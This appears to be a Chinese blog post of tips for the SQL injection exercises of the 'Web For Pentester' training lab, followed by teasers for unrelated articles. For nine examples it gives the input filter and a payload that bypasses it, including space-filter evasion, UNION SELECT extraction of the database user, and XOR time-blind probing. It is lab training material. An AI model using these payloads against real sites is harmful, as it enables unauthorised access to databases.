Web For Pentester - SQLi Part Tips

SQLi Example 1

最基础的字符型注入,无任何过滤

name=root’ and ‘1’=’1

SQLi Example 2

过滤了空格,语句中若出现空格就会报错

  • 水平制表(HT) url编码:%09
  • 注释绕过空格   /*注释*/

name=root’%09and%09’1’=’1

name=root’/**/union/**/select/**/1,2,3,4,5%23

SQLi Example 3

name=root’/**/union/**/select/**/1,2,3,4,5%23

SQLi Example 4

最基础的数值型注入,过滤了单引号

id=2%20and%201=2

SQLi Example 5

//代码片段
if (!preg_match('/^[0-9]+/', $_GET["id"])) {
    die("ERROR INTEGER REQUIRED");  
}

可以看出这里参数id必须以数字开头

id=1/0 UNION SELECT 1,user(),3,4,5

SQLi Example 6

//代码片段
if (!preg_match('/[0-9]+$/', $_GET["id"])) {
    die("ERROR INTEGER REQUIRED");  
}

可以看出这里参数id必须以数字结尾

id=1 and 1=1%23123

SQLi Example 7

//代码片段
if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
  die("ERROR INTEGER REQUIRED");    
}

这里使用了PCRE_MULTLINE(/m),也就是说任意换行符之前或之后都必须是数字,那么就可以构造如下payload

id=1%0a and 1=1

SQLi Example 8

使用XOR逻辑加时间盲注进行猜解

order=name` xor if(ascii(substring(user(),1,1))=111,sleep(5),0)%23

SQLi Example 9

这里过滤了“`”,可以使用XOR让第一个语句报错,第二个语句正确,页面显示正常

order=1 xor if(ascii(substring(user(),1,1))=112,sleep(5),0)%23

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏前端儿

VF

Vasya is the beginning mathematician. He decided to make an important contributi...

921
来自专栏算法修养

CodeForces 24B F1 Champions(排序)

B. F1 Champions time limit per test 2 seconds memory limit per test 256 me...

2206
来自专栏闻道于事

SSM框架整合项目 :投票系统

框架: Spring SpringMVC MyBatis 题目: 投票系统 ? 导包: 1, spring 2, MyBatis 3, mybatis-spri...

1.1K5
来自专栏码匠的流水账

聊聊storm的GraphiteStormReporter

storm-core-1.2.2-sources.jar!/org/apache/storm/metrics2/reporters/GraphiteStormR...

1441
来自专栏杨熹的专栏

【LEETCODE】模拟面试-134-Gas Station

新生 题目: https://leetcode.com/problems/gas-station/ There are N gas stations alon...

3526
来自专栏小樱的经验随笔

Gym 100952D&&2015 HIAST Collegiate Programming Contest D. Time to go back【杨辉三角预处理,组合数,dp】

D. Time to go back time limit per test:1 second memory limit per test:256 megaby...

2956
来自专栏HansBug's Lab

2102: [Usaco2010 Dec]The Trough Game

2102: [Usaco2010 Dec]The Trough Game Time Limit: 10 Sec  Memory Limit: 64 MB Sub...

3777
来自专栏算法修养

PAT 1008 Elevator

1008. Elevator (20) 时间限制 400 ms 内存限制 65536 kB 代码长度限制 16000 B 判题程序 ...

3305
来自专栏码匠的流水账

聊聊storm的reportError

storm-2.0.0/storm-client/src/jvm/org/apache/storm/task/IErrorReporter.java

1533
来自专栏向前进

【笔记】实现一个简易的Promise

const PENDING_STATE = "pending"; const FULLFILL_STATE = "fullfilled"; const REJE...

3314

扫码关注云+社区

领取腾讯云代金券